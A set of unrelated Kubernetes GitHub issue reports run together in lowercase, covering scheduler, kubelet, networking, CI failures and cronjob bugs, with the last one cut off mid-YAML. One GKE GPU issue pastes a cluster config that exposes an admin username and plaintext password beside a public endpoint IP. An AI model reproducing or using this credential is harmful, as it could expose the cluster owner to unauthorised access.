currently, the downward api is fragmented slightly across the environment and volume plugin flavors.  the volume plugin supports: - pod name - pod namespace - pod labels - pod annotations - resource limits  the environment api supports: - pod name - pod namespace - pod ip - resource limits  the disparity is due to a couple different factors: 1.  labels and annotations can be updated -- but we currently do not have the ability of restarting a pod when the environment changes, so labels and annotations are not available via env 2.  the pod ip is not available when the volumes are created for a pod in the pod lifecycle, so the pod ip is not available via the volume plugin  there is desire in the community to continue developing these features.  we should: 1.  ensure that future features in the downward api are added with parity in env and volume plugin.  this may increase the total time to develop new features for downward api, but if we do not make the commitment to do it this way, we will never likely have parity. 2.  bring the current features into parity.  cc @kubernetes/sig-apps

scheduler_perf should be able to run a scheduler server.\r \r   what happened  :\r \r roughly, the following patch:\r \r    \r -               conf.recorder = eventbroadcaster.newrecorder api.scheme, clientv1.eventsource{component: \ scheduler\ } \r -       } \r -       if err != nil {\r -               glog.fatalf \ error creating scheduler: %v\ , err \r -       }\r +       server := options.newschedulerserver  \r +       server.master = s.url\r \r         stop := make chan struct{} \r         informerfactory.start stop \r \r         sched.run  \r +       err, _ := app.createandrun server, schedulerconfigurator \r +       if err != nil {\r +               panic fmt.sprintf \ couldnt create scheduler !!!!!!!!!!!! %v \ ,err  \r +       }\r    \r \r applied to scheduler_perf  scheduler_test util  didnt work properly for me  obviously there are other mods i made .  \r \r the result was that the scheduler would mysteriously stop scheduling  right after  it acquired the lease, and it would basically shutdown, and then i would see lease acquiring logs over and over again.    it almost seems like some kind of shutdown happened which only killing the scheduling threads without killing the global schedulerserver process itself.\r \r   what you expected to happen  :\r \r  newschedulerserver  would easily slot into scheduler_perf so that we can measure metrics while running it. \r \r \r   workaround  \r \r for now i guess we can run the scheduler in local-up and use its metrics provided in that manner.\r \r cc @gmarek might have some good ideas on how to best do metrics in scheduler_perf, my attempt was more of a quick one-off \r \r this can wait for 1.7 or so, not urgent.

 @kubernetes/sig-node-bugs\r \r   what happened  :\r i created a alpha google container engine cluster with two nodepools. one of the nodepools uses an instance-template that has a tesla k80 gpu and installs nvidia drivers using a start-up script.\r \r specifically:\r    \r curl -o http://developer.download.nvidia.com/compute/cuda/repos/ubuntu1604/x86_64/cuda-repo-ubuntu1604_8.0.61-1_amd64.deb\r dpkg -i cuda-repo-ubuntu1604_8.0.61-1_amd64.deb\r apt-get update && apt-get install cuda -y\r nvidia_gpu_name=$ nvidia-smi --query-gpu=gpu_name --format=csv,noheader --id=0 | sed -e 's/ /-/g' \r source /etc/default/kubelet\r kubelet_opts=\ $kubelet_opts --node-labels='alpha.kubernetes.io/nvidia-gpu-name=$nvidia_gpu_name'\ \r echo \ kubelet_opts=$kubelet_opts\  > /etc/default/kubelet\r systemctl restart kubelet.service\r    \r \r i tried to schedule a pod that requests the gpu and it failed to scheduler because it couldn't find a node with capacity.\r \r deployment:\r    \r ---\r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: tensorflow-gpu\r spec:\r   replicas: 2\r   template:\r     metadata:\r       labels:\r         app: tensorflow-gpu\r     spec:\r       volumes:\r       - hostpath:\r           path: /usr/lib/nvidia-384/bin\r         name: bin\r       - hostpath:\r           path: /usr/lib/nvidia-384\r         name: lib\r       containers:\r       - name: tensorflow\r         image: tensorflow/tensorflow:latest-gpu\r         ports:\r         - containerport: 8888\r         resources:\r           limits:\r             alpha.kubernetes.io/nvidia-gpu: 1\r         volumemounts:\r         - mountpath: /usr/local/nvidia/bin\r           name: bin\r         - mountpath: /usr/local/nvidia/lib\r           name: lib\r ---\r apiversion: v1\r kind: service\r metadata:\r   name: tensorflow-gpu-service\r   labels:\r     app: tensorflow-gpu\r spec:\r   selector:\r     app: tensorflow-gpu\r   ports:\r   - port: 8888\r     protocol: tcp\r     nodeport: 30061\r   type: loadbalancer\r --- \r    \r \r also tried substituting 'nvidia.com/gpu' for 'alpha.kubernetes.io/nvidia-gpu'\r \r \r   what you expected to happen  :\r expected the gpu to be added to the node's capacity as a schedulable resource, and run a tensorflow pod on it. \r \r   how to reproduce it  as minimally and precisely as possible   :\r create cluster:\r \r    \r gcloud alpha container clusters create my-gpu-cluster --enable-cloud-logging --enable-cloud-monitoring --accelerator type=nvidia-tesla-k80,count=1 --zone us-east1-c --machine-type n1-standard-2 --enable-kubernetes-alpha --image-type ubuntu  --num-nodes 1 --cluster-version 1.8.1-gke.0\r    \r \r ssh into node and run install script above. \r \r try to deploy a tensorflow pod and observe that it doesn't get scheduled. \r \r   anything else we need to know?  :\r \r kubectl describe node -o yaml:\r \r    \r apiversion: v1\r items:\r - apiversion: v1\r   kind: node\r   metadata:\r     annotations:\r       node.alpha.kubernetes.io/ttl: \ 0\ \r       volumes.kubernetes.io/controller-managed-attach-detach: \ true\ \r     creationtimestamp: 2017-11-02t14:00:08z\r     labels:\r       beta.kubernetes.io/arch: amd64\r       beta.kubernetes.io/fluentd-ds-ready: \ true\ \r       beta.kubernetes.io/instance-type: n1-standard-2\r       beta.kubernetes.io/kube-proxy-ds-ready: \ true\ \r       beta.kubernetes.io/os: linux\r       cloud.google.com/gke-accelerator: nvidia-tesla-k80\r       cloud.google.com/gke-nodepool: default-pool\r       failure-domain.beta.kubernetes.io/region: us-east1\r       failure-domain.beta.kubernetes.io/zone: us-east1-c\r       kubernetes.io/hostname: gke-my-gpu-cluster-default-pool-4d0fa82d-ttxh\r     name: gke-my-gpu-cluster-default-pool-4d0fa82d-ttxh\r     namespace: \ \ \r     resourceversion: \ 8162\ \r     selflink: /api/v1/nodes/gke-my-gpu-cluster-default-pool-4d0fa82d-ttxh\r     uid: 22902c0c-bfd6-11e7-8b1a-42010af0023a\r   spec:\r     externalid: \ 7966087107013155476\ \r     podcidr: 10.40.0.0/24\r     providerid: gce://fathom-containers/us-east1-c/gke-my-gpu-cluster-default-pool-4d0fa82d-ttxh\r   status:\r     addresses:\r     - address: 10.142.0.2\r       type: internalip\r     - address: 35.196.11.232\r       type: externalip\r     - address: gke-my-gpu-cluster-default-pool-4d0fa82d-ttxh\r       type: hostname\r     allocatable:\r       cpu: 1930m\r       ephemeral-storage: \ 93619943269\ \r       hugepages-1gi: \ 0\ \r       hugepages-2mi: \ 0\ \r       memory: 5779072ki\r       pods: \ 110\ \r     capacity:\r       cpu: \ 2\ \r       ephemeral-storage: 101584140ki\r       hugepages-1gi: \ 0\ \r       hugepages-2mi: \ 0\ \r       memory: 7659136ki\r       pods: \ 110\ \r     conditions:\r     - lastheartbeattime: 2017-11-02t15:51:16z\r       lasttransitiontime: 2017-11-02t14:00:05z\r       message: kernel has no deadlock\r       reason: kernelhasnodeadlock\r       status: \ false\ \r       type: kerneldeadlock\r     - lastheartbeattime: 2017-11-02t14:00:23z\r       lasttransitiontime: 2017-11-02t14:00:23z\r       message: routecontroller created a route\r       reason: routecreated\r       status: \ false\ \r       type: networkunavailable\r     - lastheartbeattime: 2017-11-02t15:51:42z\r       lasttransitiontime: 2017-11-02t14:00:08z\r       message: kubelet has sufficient disk space available\r       reason: kubelethassufficientdisk\r       status: \ false\ \r       type: outofdisk\r     - lastheartbeattime: 2017-11-02t15:51:42z\r       lasttransitiontime: 2017-11-02t14:00:08z\r       message: kubelet has sufficient memory available\r       reason: kubelethassufficientmemory\r       status: \ false\ \r       type: memorypressure\r     - lastheartbeattime: 2017-11-02t15:51:42z\r       lasttransitiontime: 2017-11-02t14:00:08z\r       message: kubelet has no disk pressure\r       reason: kubelethasnodiskpressure\r       status: \ false\ \r       type: diskpressure\r     - lastheartbeattime: 2017-11-02t15:51:42z\r       lasttransitiontime: 2017-11-02t15:03:06z\r       message: kubelet is posting ready status. apparmor enabled\r       reason: kubeletready\r       status: \ true\ \r       type: ready\r     - lastheartbeattime: 2017-11-02t15:02:56z\r       lasttransitiontime: 2017-11-02t14:00:19z\r       message: using current  default \r       reason: current is set to the local default, and no init config was provided\r       status: \ true\ \r       type: configok\r     daemonendpoints:\r       kubeletendpoint:\r         port: 10250\r     images:\r     - names:\r       - gcr.io/google-containers/fluentd-gcp@sha256:31a2043cc4dc93208c843cc44d1325f7ebf0d18a863bec738fe62b56965dbf62\r       - gcr.io/google-containers/fluentd-gcp:2.0.9\r       sizebytes: 172427626\r     - names:\r       - gcr.io/google_containers/kubernetes-dashboard-amd64@sha256:2c4421ed80358a0ee97b44357b6cd6dc09be6ccc27dfe9d50c9bfc39a760e5fe\r       - gcr.io/google_containers/kubernetes-dashboard-amd64:v1.6.3\r       sizebytes: 138972432\r     - names:\r       - gcr.io/google_containers/kube-proxy:v1.8.1-gke.0\r       sizebytes: 98153932\r     - names:\r       - gcr.io/google-containers/event-exporter@sha256:0c86fa393401fe57843be1aa3180cd7fd339ef06fa18234ae5b139a85cfa55ec\r       - gcr.io/google-containers/event-exporter:v0.1.7\r       sizebytes: 91086882\r     - names:\r       - gcr.io/google_containers/heapster-amd64@sha256:8e04183590f937c274fb95c1397ea0c6b919645c765862e2cc9cb80f097a8fb4\r       - gcr.io/google_containers/heapster-amd64:v1.4.3\r       sizebytes: 73412845\r     - names:\r       - gcr.io/google-containers/prometheus-to-sd@sha256:272e4ddfb3468c4c9ba245a716a74a7f2fb731cffeaf3583dbb4091565b1dfd6\r       - gcr.io/google-containers/prometheus-to-sd:v0.2.1\r       sizebytes: 55231818\r     - names:\r       - gcr.io/google-containers/prometheus-to-sd@sha256:c6aaa681e77e55aa7f7017ca55265accde313f8e2e5484ee1d0a4d89ff741c48\r       - gcr.io/google-containers/prometheus-to-sd:v0.1.3\r       sizebytes: 52037844\r     - names:\r       - gcr.io/google_containers/cluster-proportional-autoscaler-amd64@sha256:003f98d9f411ddfa6ff6d539196355e03ddd69fa4ed38c7ffb8fec6f729afe2d\r       - gcr.io/google_containers/cluster-proportional-autoscaler-amd64:1.1.2-r2\r       sizebytes: 49648481\r     - names:\r       - gcr.io/google_containers/k8s-dns-kube-dns-amd64@sha256:1a3fc069de481ae690188f6f1ba4664b5cc7760af37120f70c86505c79eea61d\r       - gcr.io/google_containers/k8s-dns-kube-dns-amd64:1.14.5\r       sizebytes: 49387411\r     - names:\r       - gcr.io/google_containers/k8s-dns-sidecar-amd64@sha256:9aab42bf6a2a068b797fe7d91a5d8d915b10dbbc3d6f2b10492848debfba6044\r       - gcr.io/google_containers/k8s-dns-sidecar-amd64:1.14.5\r       sizebytes: 41819177\r     - names:\r       - gcr.io/google_containers/k8s-dns-dnsmasq-nanny-amd64@sha256:46b933bb70270c8a02fa6b6f87d440f6f1fce1a5a2a719e164f83f7b109f7544\r       - gcr.io/google_containers/k8s-dns-dnsmasq-nanny-amd64:1.14.5\r       sizebytes: 41423617\r     - names:\r       - gcr.io/google_containers/addon-resizer@sha256:dcec9a5c2e20b8df19f3e9eeb87d9054a9e94e71479b935d5cfdbede9ce15895\r       - gcr.io/google_containers/addon-resizer:1.7\r       sizebytes: 38983736\r     - names:\r       - gcr.io/google_containers/defaultbackend@sha256:fb91f9395ddf44df1ca3adf68b25dcbc269e5d08ba14a40de9abdedafacf93d4\r       - gcr.io/google_containers/defaultbackend:1.3\r       sizebytes: 3618880\r     - names:\r       - busybox@sha256:9a5bcda321c23a905b818b0cec18347914cbf8ee3a4db6b570bc05aeb5f35a87\r       - busybox:latest\r       sizebytes: 1129289\r     - names:\r       - gcr.io/google_containers/pause-amd64@sha256:163ac025575b775d1c0f9bf0bdd0f086883171eb475b5068e7defa4ca9e76516\r       - gcr.io/google_containers/pause-amd64:3.0\r       sizebytes: 746888\r     nodeinfo:\r       architecture: amd64\r       bootid: c4d8cc98-be72-4b50-afbd-259e57eb04ff\r       containerruntimeversion: docker://1.12.6\r       kernelversion: 4.4.0-1027-gke\r       kubeproxyversion: v1.8.1-gke.0\r       kubeletversion: v1.8.1-gke.0\r       machineid: bf4a5213001f62922b5529107d7fe504\r       operatingsystem: linux\r       osimage: ubuntu 16.04.3 lts\r       systemuuid: bf4a5213-001f-6292-2b55-29107d7fe504\r kind: list\r metadata:\r   resourceversion: \ \ \r   selflink: \ \ \r    \r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.4\ , gitcommit:\ 793658f2d7ca7f064d2bdf606519f9fe1229c381\ , gittreestate:\ clean\ , builddate:\ 2017-08-17t08:48:23z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.1-gke.0\ , gitcommit:\ a8e22959b5a4c0ca54ef8860231074428c962466\ , gittreestate:\ clean\ , builddate:\ 2017-10-12t19:32:15z\ , goversion:\ go1.8.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r google container engine, cluster version: 1.8.1-gke.0\r \r    \r addonsconfig:\r   networkpolicyconfig:\r     disabled: true\r clusteripv4cidr: 10.40.0.0/14\r createtime: '2017-11-02t13:57:50+00:00'\r currentmasterversion: 1.8.1-gke.0\r currentnodecount: 1\r currentnodeversion: 1.8.1-gke.0\r enablekubernetesalpha: true\r endpoint: 35.185.116.53\r expiretime: '2017-12-02t13:57:53+00:00'\r initialclusterversion: 1.8.1-gke.0\r instancegroupurls:\r - https://www.googleapis.com/compute/v1/projects/fathom-containers/zones/us-east1-c/instancegroupmanagers/gke-my-gpu-cluster-default-pool-4d0fa82d-grp\r labelfingerprint: a9dc16a7\r legacyabac: {}\r locations:\r - us-east1-c\r loggingservice: logging.googleapis.com\r masterauth:\r   clientcertificate:  redacted \r   clientkey:  redacted \r   clustercacertificate:  redacted \r   password: y6n3poo4fioqloxx\r   username: admin\r monitoringservice: monitoring.googleapis.com\r name: my-gpu-cluster\r network: default\r nodeconfig:\r   accelerators:\r   - acceleratorcount: '1'\r     acceleratortype: nvidia-tesla-k80\r   disksizegb: 100\r   imagetype: ubuntu\r   machinetype: n1-standard-2\r   oauthscopes:\r   - https://www.googleapis.com/auth/compute\r   - https://www.googleapis.com/auth/devstorage.read_only\r   - https://www.googleapis.com/auth/logging.write\r   - https://www.googleapis.com/auth/monitoring\r   - https://www.googleapis.com/auth/service.management.readonly\r   - https://www.googleapis.com/auth/servicecontrol\r   serviceaccount: default\r nodeipv4cidrsize: 24\r nodepools:\r - config:\r     accelerators:\r     - acceleratorcount: '1'\r       acceleratortype: nvidia-tesla-k80\r     disksizegb: 100\r     imagetype: ubuntu\r     machinetype: n1-standard-2\r     oauthscopes:\r     - https://www.googleapis.com/auth/compute\r     - https://www.googleapis.com/auth/devstorage.read_only\r     - https://www.googleapis.com/auth/logging.write\r     - https://www.googleapis.com/auth/monitoring\r     - https://www.googleapis.com/auth/service.management.readonly\r     - https://www.googleapis.com/auth/servicecontrol\r     serviceaccount: default\r   initialnodecount: 1\r   instancegroupurls:\r   - https://www.googleapis.com/compute/v1/projects/fathom-containers/zones/us-east1-c/instancegroupmanagers/gke-my-gpu-cluster-default-pool-4d0fa82d-grp\r   management: {}\r   name: default-pool\r   selflink: https://container.googleapis.com/v1/projects/fathom-containers/zones/us-east1-c/clusters/my-gpu-cluster/nodepools/default-pool\r   status: running\r   version: 1.8.1-gke.0\r selflink: https://container.googleapis.com/v1/projects/fathom-containers/zones/us-east1-c/clusters/my-gpu-cluster\r servicesipv4cidr: 10.43.240.0/20\r status: running\r zone: us-east1-c\r    \r \r os  e.g. from /etc/os-release :\r ubuntu-gke-1604-lts\r \r kernel  e.g. uname -a :\r linux gke-my-gpu-cluster-default-pool-7cb293cd-31tz 4.4.0-1027-gke  27-ubuntu smp thu aug 10 13:13:08 utc 2017 x86_64 x

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r   what happened  :\r the pause-amd64:3.0 image on gcr.io has an empty schema2 manifest, which prevents is from being pulled by proxy/caches which only support v2 registries.\r \r   what you expected to happen  :\r being able to pull  gcr.io/google_containers/pause-amd64:3.0 using a v2 manifest compatible client.\r \r   anything else we need to know?  :\r the proxy/cahce is requesting this   manifest from docker-remote-google 'v2/google_containers/pause-amd64/manifests/3.0' not found \r \r @kubernetes/sig-node-bugs\r @kubernetes/sig-release-bugs

i ran into what appears to be an unlikely collision between two loadbalancer services. both services were created with  nil  for  spec.healthchecknodeport  and  spec.ports   .nodeport . somehow they ended up both trying to use  30073  which resulted in kube-proxy failing to configure the second service correctly.\r \r this is similar sounding to  54885 which was closed without resolution.\r \r kube-proxy logs showing collision\r    \r i0508 15:08:27.037389       6 healthcheck.go:151  opening healthcheck \ demojohn/happy-wolf-nginx\  on port 30073\r ...\r e0509 14:52:17.779783       6 proxier.go:1386  can't open \ nodeport for corey/corey-nginx:http\   :30073/tcp , skipping this nodeport: listen tcp :30073: bind: address already in use\r    \r \r services with collision:\r    \r apiversion: v1\r kind: service\r metadata:\r   creationtimestamp: 2018-05-08t15:08:26z\r   labels:\r     app: nginx\r     chart: nginx-0.0.1\r     heritage: tiller\r     release: happy-wolf\r   name: happy-wolf-nginx\r   namespace: demojohn\r   resourceversion: \ 20491885\ \r   selflink: /api/v1/namespaces/demojohn/services/happy-wolf-nginx\r   uid: <uuid>\r spec:\r   clusterip: 100.68.20.206\r   externaltrafficpolicy: local\r   healthchecknodeport: 30073\r   ports:\r   - name: http\r     nodeport: 31162\r     port: 80\r     protocol: tcp\r     targetport: 80\r   - name: https\r     nodeport: 30844\r     port: 443\r     protocol: tcp\r     targetport: 443\r   - name: ssh\r     nodeport: 30217\r     port: 22\r     protocol: tcp\r     targetport: 22\r   selector:\r     app: nginx\r     release: happy-wolf\r   sessionaffinity: none\r   type: loadbalancer\r status:\r   loadbalancer:\r     ingress:\r     - hostname: <uuid>.ap-northeast-1.elb.amazonaws.com\r    \r    \r apiversion: v1\r kind: service\r metadata:\r   creationtimestamp: 2018-05-09t14:52:17z\r   labels:\r     app: nginx\r     chart: nginx-0.0.1\r     heritage: tiller\r     release: corey\r   name: corey-nginx\r   namespace: corey\r   resourceversion: \ 20756022\ \r   selflink: /api/v1/namespaces/corey/services/corey-nginx\r   uid: <uuid>\r spec:\r   clusterip: 100.65.95.90\r   externaltrafficpolicy: local\r   healthchecknodeport: 32720\r   ports:\r   - name: http\r     nodeport: 30073\r     port: 80\r     protocol: tcp\r     targetport: 80\r   - name: https\r     nodeport: 30781\r     port: 443\r     protocol: tcp\r     targetport: 443\r   - name: ssh\r     nodeport: 30050\r     port: 22\r     protocol: tcp\r     targetport: 22\r   selector:\r     app: nginx\r     release: corey\r   sessionaffinity: none\r   type: loadbalancer\r status:\r   loadbalancer:\r     ingress:\r     - hostname: <uuid>.ap-northeast-1.elb.amazonaws.com\r    \r \r  \r - kubernetes version  use  kubectl version  : 1.8.10\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : debian jessie\r - kernel  e.g.  uname -a  : 4.4.115-k8s\r - install tools: kops\r

container runtime sometimes return  unknown state  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/apis/cri/runtime/v1alpha2/api.proto l779  for containers in bad state, e.g. https://github.com/containerd/cri/pull/924 containerd returns  unknown  state if an error occurs when loading container state during restart.\r \r however, this doesn't necessarily mean that the container is stopped. if kubelet blindly starts the new container in that case, it may break the node if the container can only have one instance on the node, e.g. kube-proxy.\r \r to make it safe, kubelet should try to stop the container in unknown state. based on cri definition,  container stop should be idempotent  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/apis/cri/runtime/v1alpha2/api.proto l51 , so:\r   if the container is running, kubelet can stop it;\r   if the container is not running, the stop won't return error;\r   if the container is running, but can't be stopped for some reason, returning error and failing loudly is still better than silently start the new container and keep the old one running.\r \r /cc @yujuhong @kubernetes/sig-node-bugs

kubernetes 1.9.11\r etcd 3.3.9\r \r  - - -\r problem kube-controller-manager randomly stop sync loops, i.e. does not move forward on state of resources. example:\r updated deployment does not create new rs to replace old, deleted old rs, will be recreated with old info.\r \r if needed cluster looks like:\r 5 x etcd nodes <-> 5 x etcd grpc-proxy <-> 5 x kube-apiserver <-> envoy http2/grpc balancer <-> kube-controller-manager\r \r restart of kube-controller master helps fix the problem.\r looks like problem hidden in kube-controller/kube-apiserver watch-cache:\r    \r operation cannot be fulfilled on daemonsets.extensions \ rbd-remounter\ : storageerror: invalid object, code: 4, key: /registry/daemonsets/kube-system/rbd-remounter, resourceversion: 0, additionalerrormsg: precondition failed: uid in precondition: 8a457414-52c8-11e8-8495-6c92bf0b2bc5, uid in object meta: 03192501-e9be-11e8-ab08-a4bf0103966a\r    \r \r if i look in etcd i see  uid 03192501-e9be-11e8-ab08-a4bf0103966a\r so i think etcd works ok.\r \r  that happens randomly on different clusters, but i can reproduce it manually .\r  \r in general to reproduce i use 2 different files with ds/deployment, only different in limit/request,\r to make kube-controller update something.\r \r apply when one by one, not waiting while previous update will finished.\r then delete resource while it updating, and apply/create again.\r \r log snipets:\r  logs.log  https://github.com/kubernetes/kubernetes/files/2590221/logs.log \r \r thanks for any suggestions.\r

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  : pull/ci kubernetes-integration jobs\r \r   which test s  are failing  : testimagelocality\r \r   since when has it been failing  : \r - https://storage.googleapis.com/k8s-gubernator/triage/index.html?pr=1&test=testimagelocality\r \r   testgrid link  : \r \r   reason for failure  :\r \r   anything else we need to know  :\r

apigroups are a really useful features, but there are several areas of the code that need improvement to make their usage easier to understand.  these are few things i found while trying to reliably activate and configure the  extensions  group downstream 1. we need a  groupversion  object to make it very obvious in the code when a bit of code relies on that.  right now, sometimes its two strings, sometimes its one string to split, sometimes objects hold both. 2. validation is needed when starting a master to make sure that combination of  storagedestinations ,  apigroupversionoverrides ,  storageversions , and the available  groups  makes sense.  i suspect that there's a cleaner factorization. 3. done functions like  interfacesfor  need to decide if they take  groupversion  or just an api version.  i'm ok with either one, but right now you get things like an error message saying  unsupported storage version: v1beta1  valid: v1beta1   because part of the code thinks its a version and part of it thinks its a  groupversion . 4. rest apiversions are unrelated to storage apiversions.  right now, the rest preferred version is tied to the storage version. 5. reporting throughout the stack should understand that  kind  strings are no longer unambiguous.  types like  statusdetails  should accept an  apigroup  as well. 6. registrations of  groupmeta  shouldn't be mutable.  i don't see why we'd ever want it mutable and its kind of crazy to change it part way through. 7. done  well, differently in https://github.com/kubernetes/kubernetes/pull/16062  type registration and lookups seems to be split across three packages   install ,  registered ,  latest  , all of which try to take apigroups into account.  this needs reorganization.  perhaps we could try a layered approach where  latest  is scoped to versions of a single apigroup,  install  is responsible for handling registration with a  registered  package which is the source of truth for all metadata.  no other package should expose cross group metadata. 8. having combined clients makes it harder to trace the effects of disabling an apigroup and risks potential name collisions going forward.  splitting clients on apigroups seems reasonable.  one of the things that may help with factorization is trying to describe the existing  v1  api as an groupversion \ \ , \ v1\   throughout all of the code.  if its hard to read like that, then there's probably a factorization problem.  @caesarxuchao @smarterclayton @liggitt @kubernetes/kube-api

they should live in the api server and should contain: - number of existing objects in the cluster    pods,  services,  rc, etc.  - number of restarts of 'master components'  api server, scheduler, controller manager  - for ha setup: currently elected master, number of healthy replicas  cc @wojtek-t @davidopp @fgrzadkowski

currently, there is now way to specify the maximum number of pods per kubelet when bringing up a cluster through  cluster/kube-up.sh . while raising the number of pods is not currently all that useful   16943 , being able to lower it may be. in the extreme case, one may even want to enforce that any given node runs at most one pod  i believe this can be achieved through a combination of labels and selectors   3945,  14816 , by allocating the same   hostport s  http://stackoverflow.com/a/30984563/472927 , or in a more constrained way through daemonsets   16856 , but does not help for the general case .  a similar feature was requested in  19330, but was closed by the poster after he found a solution. the solution proposed there may be what we want, or we could make per-cluster-type modifications  e.g., changing  execstart  for  cluster/aws/coreos/node.yaml   to support this.

we should either expose a per-provider \ cheat\  interface, or we should expose the ns records in zone for dnsprovider.   for a use-case, kops wants to validate the ns records are set correctly for self-diagnostics: https://github.com/kubernetes/kops/issues/1508

i used manifests and kubelet tag1.3.3  to start k8s master components. after all component has be running by  docker ps . i found status of these mirrorpod were abnormal:\r    \r name                                   ready     status    restarts   age\r kube-apiserver-localhost               1/1       running   0          9d\r kube-controller-manager-localhost      0/1       pending   0          1s\r kube-scheduler-localhost               0/1       pending   0          1s\r    \r \r only apiserver was running as usual, other pods were deleting and recreating each 1 or 2 seconds.  i check kubelet's log,and found that it always delete mirrorpod because of an update which add a deletionstamp, and recreating again:\r    \r syncloop  update, \ api\  : \ kube-scheduler-localhost_default ec4d877e-0213-11e7-946d-fa163e4dfa27 :deletiontimestamp=2017-03-06t02:23:46z\ \r ...\r deleting mirror pod \ kube-scheduler-localhost_default ec4d877e-0213-11e7-946d-fa163e4dfa27 \  because it is outdated\r ...\r syncloop  add, \ api\  : \ kube-scheduler-localhost_default ee53d12d-0213-11e7-946d-fa163e4dfa27 \ \r    \r \r i try to move kube-scheduler.manifest out from the directory and move it back after a minute. things were still abnormal.\r \r is it a bug or i missed something?

as a follow up to https://github.com/kubernetes/kubernetes/issues/42573 - we would like to perform mount option validation during pv creation itself.\r \r one potential problem as discussed in linked issue is - importing volume plugins inside  api/validation  causes huge increase in binary size of kubectl. we would want pv validation for mount option to be inside separate package.\r \r

the  1.6 gke ingress tests\r   https://k8s-testgrid.appspot.com/release-1.6-all gci-gke-ingress-1.6  started failing yesterday. this looks like an infra issue.\r \r  error:   https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-ingress-release-1.6/700 \r    \r mar 21 01:24:23.063: ingress failed to acquire an ip address within 15m0s\r    \r \r @kubernetes/test-infra-maintainers

seeing a spike in ns cleanup failure: https://storage.googleapis.com/k8s-gubernator/triage/index.html?pr=1&text=couldn%27t%20delete%20ns 5c121dd9347b4a1cbd0d\r \r looks like it started the morning of 6/6\r \r currently failing 5% of gce-etcd3 jobs\r \r cc @kubernetes/sig-release-misc @kubernetes/sig-testing-misc

testgrid  https://k8s-testgrid.appspot.com/sig-storage gke-slow \r \r  logs  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-slow/7598 sig-storage-dynamic-provisioning-sig-storage-dynamicprovisioner-external-should-let-an-external-dynamic-provisioner-create-and-delete-persistent-volumes-slow \r \r  

this problem is a todo in  here  https://github.com/kubernetes/kubernetes/blob/b776df8a20444568614804791d24e64cc3fee0be/pkg/kubectl/cmd/cmd.go l201 , currently the  validresources  https://github.com/kubernetes/kubernetes/blob/b776df8a20444568614804791d24e64cc3fee0be/pkg/kubectl/cmd/cmd.go l202  string used in our command help message, and some error messages, but it's hardcoded.\r \r i'm not sure if there' any pitfall or blocker for this todo haven't been picked yet, if not, i would like to fix that.\r \r i will add an interface  validresourcesfromdiscoveryclient  in ring1factory, and fetch those information from discoveryclient  , sort and return a string.\r \r @sttts @deads2k @fabianofranz @kubernetes/sig-cli-misc wdyt ?\r

we should properly document node with impaired volumes taint, so as users know what that means and how to fix it.\r \r   \r

 \r   what happened  :\r i would like to use a newer version of my image in a cronjob, but i can't update the cronjob template using 'kubectl set'\r \r   what you expected to happen  :\r i would expect to issue a command like the following, but it's not possible to update a cronjob template.\r \r     kubectl set image cronjob python=python:3.5\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a cronjob and try to update the image that is pulled for each job.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.5\ , gitcommit:\ cce11c6a185279d037023e02ac5249e14daa22bf\ , gittreestate:\ clean\ , builddate:\ 2017-12-07t16:16:03z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ windows/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.4\ , gitcommit:\ 9befc2b8928a9426501d3bf62f72849d5cbcd5a3\ , gittreestate:\ clean\ , builddate:\ 2017-11-20t05:17:43z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r azure\r - install tools:\r acs-engine

failing job\r      sig-release-master-upgrade gce-1.10-master-upgrade-master  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-1.10-master-upgrade-master \r \r    failing test\r       sig-scheduling  schedulerpredicates  serial  validates that taints-tolerations is respected if not matching  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-master/1484 \r \r    triage results\r https://storage.googleapis.com/k8s-gubernator/triage/index.html?sig=scheduling&test=validates%20that%20taints-tolerations%20is%20respected%20if%20not%20matchin\r \r this test is currently failing in sig-release master-upgrade suite, this could potentially become release blocking if not addressed sooner. @aveshagarwal can you please triage this failure?\r \r  / /  @kubernetes/sig-scheduling-bugs \r \r cc @jberkus @tpepper \r \r /assign @aveshagarwal \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r   \r   what happened  :\r i have created a cronjob and specified failedjobshistorylimit: 1 and successfuljobshistorylimit: 3.  i realize these are the defaults, but i've tried explicitly setting them as part of my debugging.  none of the old jobs and pods are deleted, however, so the number of jobs and pods in my cluster keeps increasing.\r \r   what you expected to happen  :\r only the last 3 successful jobs and pods should be retained.\r \r   how to reproduce it  as minimally and precisely as possible   :\r here is the yaml for my cronjob:\r \r    \r apiversion: batch/v1beta1\r kind: cronjob\r metadata:\r   name: zeus-cron-checkqueue\r   